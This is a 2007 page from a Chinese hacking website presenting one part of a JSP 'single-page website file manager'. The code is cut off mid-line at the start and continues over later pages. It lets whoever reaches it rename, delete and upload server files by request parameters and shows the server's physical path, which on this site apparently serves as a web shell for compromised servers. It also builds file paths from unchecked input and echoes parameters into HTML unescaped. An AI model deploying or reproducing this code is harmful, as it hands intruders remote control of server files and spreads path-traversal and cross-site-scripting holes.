我爱黑客网首页 设为首页
加入收藏
联系我们
 首 页  技术文章 下载中心 站长学院 交流论坛
 软件:
 文章:        教程:
 推荐: 我爱黑客网论坛
 
 
 
 
   
黑软: Q Q 软件 木马间谍 探嗅监听 溢出攻击 加密解密 漏洞扫描 脚本注入 远程控制 综合利用 聊天工具  
 
技术文章: 爱黑新闻 | 黑客攻防 | 安全防御 | 程序设计 | 系统操作 | 网络技术 | 本站动态 | 业界动态 | 安全公告 | 病毒公告
 
 
您当前的位置:我爱黑客网 -> 黑客攻防 -> 工具详解 -> 文章内容  
栏目导航
· Q Q 攻防 · 黑客入门
· 攻防实战 · 安全初步
· 工具详解 · 黑客教程
· 漏洞研究 · 黑客编程
· 技术杂谈
热门文章
· 灰鸽子新手完全教程(..
· 关于一句话木马
· 帮老马的ASP站长助手正..
· google 搜索引擎实用技..
· 软件、程序脱壳的各种..
· 开启网络终端连接最简..
· Hacker defender 中文..
· 黑客必备命令-FTP命令..
· 最新版的pcshare的免疫..
· 用好MSN Spaces之新手..
· 视频:ADSL宽带共享上..
· 便捷的数据收集工具—..
相关文章

· js脚本免杀工具 免杀..
· 纯JS实现的动态表格..
· [JS小技巧] 简写doc..
· 高手过招:全程追踪检..
· 推荐:高手过招:全程..
· 百度空间存js破坏漏..
· jsp安全问题及其解决..
· Apache Jakarta res..
· IBM WebSphere配置J..
· Fusebox V4.1.0 JS代..
查看更多与JSP单页面网站文件管理器相关内容

JSP单页面网站文件管理器
作者:幽火  来源:www.5ihack.com  发布时间:2007-5-6 13:50:31  发布人:ghostfire

减小字体 增大字体

h+UnicodeToChinese(request.getParameter("fold"))+"\\";
 File fileRenameF=new File(strFileRenameF);
 
 String strFileRenameToF=strDealPath+UnicodeToChinese(request.getParameter("newFoldName"))+"\\";
 File fileRenameToF=new File(strFileRenameToF);
 
 //判断更名的文件夹是否存在
 if(fileRenameF.exists()){
 //判断新的文件夹名称是否与现存的文件夹重名
 if(!fileRenameToF.exists())
 {
 fileRenameF.renameTo(fileRenameToF);
 response.sendRedirect(request.getRequestURI()+"?path="+strDealPath+"&act=show"); 
 return;
 }else
 {
 strErr="指定的文件夹名称和现有的文件夹名称重复,请重新指定一个文件夹名称!";
 }
 }else{
 strErr="要更名的文件夹不存在,请重新选择";
 }
 
 }catch(Exception e)
 {
 strErr="文件夹更名操作错误!";
 }
 }
}else if(request.getParameter("act").equals("renameFile"))
{
 strStat="renameFile";
}else if(request.getParameter("act").equals("renameFileDo"))
{
 //文件更名操作
 //根据参数判断是否对于文件名称有更改动作发生
 if(request.getParameter("changeDo").equals("true"))
 {
 //有文件名,更名发生
 try{
 String strFileRenameFi=strDealPath+UnicodeToChinese(request.getParameter("file"));
 File fileRenameFi=new File(strFileRenameFi);
 
 String strFileRenameToFi=strDealPath+UnicodeToChinese(request.getParameter("newFileName"));
 File fileRenameToFi=new File(strFileRenameToFi);
 
 //判断更名的文件是否存在
 if(fileRenameFi.exists()){
 //判断新的文件名称是否与现存的文件重名
 if(!fileRenameToFi.exists())
 {
 fileRenameFi.renameTo(fileRenameToFi);
 response.sendRedirect(request.getRequestURI()+"?path="+strDealPath+"&act=show"); 
 return;
 }else
 {
 strErr="指定的文件名称和现有的文件名称重复,请重新指定一个文件名称!";
 }
 }else{
 strErr="要更名的文件不存在,请重新选择";
 }
 
 }catch(Exception e)
 {
 strErr="文件更名操作错误!";
 }
 }
}else if(request.getParameter("act").equals("delFileDo"))
{
 //删除操作
 try{
 String strFileDelFi=strDealPath+UnicodeToChinese(request.getParameter("file"));
 File fileDelFi=new File(strFileDelFi);
 
 if(fileDelFi.exists())
 {
 fileDelFi.delete();
 response.sendRedirect(request.getRequestURI()+"?path="+strDealPath+"&act=show"); 
 return;
 }else{
 strErr="要删除的文件不存在,请重新选择";
 }
 
 }catch(Exception e)
 {
 strErr="文件删除操作错误!";
 } 
}else if(request.getParameter("act").equals("uploadFile"))
{
 strStat="uploadFile";
}else if(request.getParameter("act").equals("uploadFileDo"))
{
%>
 <jsp:useBean id="mySmartUpload" scope="page" class="com.jspsmart.upload.SmartUpload" />
<%
 //上传文件操作
 mySmartUpload.initialize(pageContext);
 mySmartUpload.setTotalMaxFileSize(1000000);

 try {
 mySmartUpload.upload();
 mySmartUpload.save(strDealPath);
 
 response.sendRedirect(request.getRequestURI()+"?path="+strDealPath+"&act=show"); 
 return; 
 } catch (Exception e) { 
 strErr="文件上传出错,请检查是否超过1M 的文件大小限制!";
 }

}

%>
<%
out.println(strStat);
%>

<HTML><HEAD><TITLE>Directory Listing For /</TITLE>
<META content="text/html; charset=utf-8" http-equiv=Content-Type>
<META content="MSHTML 5.00.2920.0" name=GENERATOR></HEAD>
<BODY bgColor=white>
<div align="center">
 <table border=0 cellpadding=5 cellspacing=0 width="90%">
 <tbody> 
 <tr> 
 <td align=left bgcolor=#000066 valign=bottom><font color=#ffffff face=宋体 
 size=4 Roman? New ,?times><b>&nbsp;网站文件管理器</b></font></td>
 <td align=right bgcolor=#000066 valign=bottom><font color=#ffffff face=宋体 
 size=4 Roman? New ,?times><b>&nbsp;<strong><%=request.getContextPath()%></strong></b></font></td>
 </tr>
 </tbody> 
 </table>
 <table width="90%" border="0" cellspacing="0" cellpadding="5">
 <tr>
 <td><font size="2"><b>物理路径:</b><%=strDealPath%></font></td>
 </tr>
 </table>
 <br>
 <% if (strStat.equals("login")){%>
 <table width="300" border="0" cellspacing="1" cellpadding="0" >
 <tr> 
 <td height="200" valign="top" align="center"> 
 <p align="center">
 <table width="100%" border="0" cellspacing="1" cellpadding="5" bgcolor=#999999 class=a9px>
 <tr> 
 <td bgcolor="#cccccc"><font size=+2>登录</font></td>
 </tr>
 <tr> 
 <td bgcolor="#FFFFFF" valign="top" align="center"> 
 <table width="100%" border="0" cellspacing="0" cellpadding="0">
 <form name=dataform method=post action=’<%=request.getRequestURI()%>?act=login’>
 <tr> 
 <td width="100"><b><font size="-1">登录名:</font></b></td>
 <td> 
 <input maxlength=16 
 name="username" value="">
 </td>
 </tr>
 <tr>
 <td width="100"><b><font size="-1">密码:</font></b></td>
 <td>
 <input class=stedit maxlength=16 
 name="userpass" value="">
 </td>
 </tr>
 </form>
 </table>
 <br>
 <table border=0 cellpadding=0 cellspacing=0>
 <tbody> 
 <tr> 
 <td> 
 <input name=update onClick="javascript:if (checkform()==false);" type=button value="登 录">
 </td>
 <td>&nbsp;</td>
 <td>&nbsp;</td>
 </tr>
 </tbody> 
 </table>
 <br>
 </td>
 </tr>
 </table>
 </td>
 </tr>
</table>
 <% //错误信息显示 
}else if(strErr!=""){
 %>
 <table width="90%" border="0" cellspacing="0" cellpadding="5">
 <tr> 
 <td><font size=+2><strong>操作错误</strong></font></td>
 </tr>
 </table>
 <table align=center cellpadding=5 cellspacing=0 width="90%">
 <form name=dataForm2 

action="<%=request.getRequestURI()%>?path=<%=UnicodeToChinese(request.getParameter("path"))%>&fold=<%=UnicodeToChinese(reques

t.getParameter("fold"))%>&act=renameFoldDo" method="post">
 <tbody> 
 <tr bgcolor=#cccccc> 
 <td align=left bgcolor="#cccccc"><strong><font size="-1">错误原因:</font></strong></td>
 </tr>
 <tr> 
 <td align=left><TT><font color="red"><%=strErr%></font></TT>
 </td>
 </tr>
 <tr> 
 <td bgcolor=#cccccc align="center"><TT>[ <a href="javascript:history.go(-1);">返回操作</a> ]</TT>&nbsp;&nbsp;<tt>[ <a 

href="<%=request.getRequestURI()%>?path=<%=UnicodeToChinese(request.getParameter("path"))%>&act=show">返回目录</a> 
 ]<input type=hidden name="changeDo" value="false"></tt> </td>
 </tr>
 </tbody> 
 </form>
 </table>
 
 <%
 }else if(strStat.equals("show")){
 //正常显示页面
 %>
 <table width="90%" border="0" cellspacing="0" cellpadding="5">
 <tr> 
 <td><font size=+2><strong>目录列表:</strong></font></td>
 </tr>
 </table>
 <table align=center cellpadding=5 cellspacing=0 width="90%">
 <tbody> 
 <tr bgcolor=#cccccc> 
 <td align=left><font size=+1><strong><font size="-1">名称</font></strong></font><TT>(单击进入相应目录)</TT></td>
 <td align=center><font size=+1><strong><font size="-1">修改时间</font></strong

    [3] [4] [5] 

上一页  [1] [2] [3] [4] [5]  下一页

查看更多与JSP单页面网站文件管理器相关内容

[ ] [返回上一页] [打 印] [收 藏]
上一篇文章:
下一篇文章:
      AngelShell:让所有正向程序实现反向连接(应用篇)       MT.EXE程序测试报告+下载
∷相关文章评论∷   (评论内容只代表网友观点,与本站立场无关!) [发表评论]
 
 
 
 
晋ICP备05008232   维护网络安全、传播安全技术才是我们的目标! 
 
关于本站 - 网站帮助 - - 下载声明 - 友情连接 -网站地图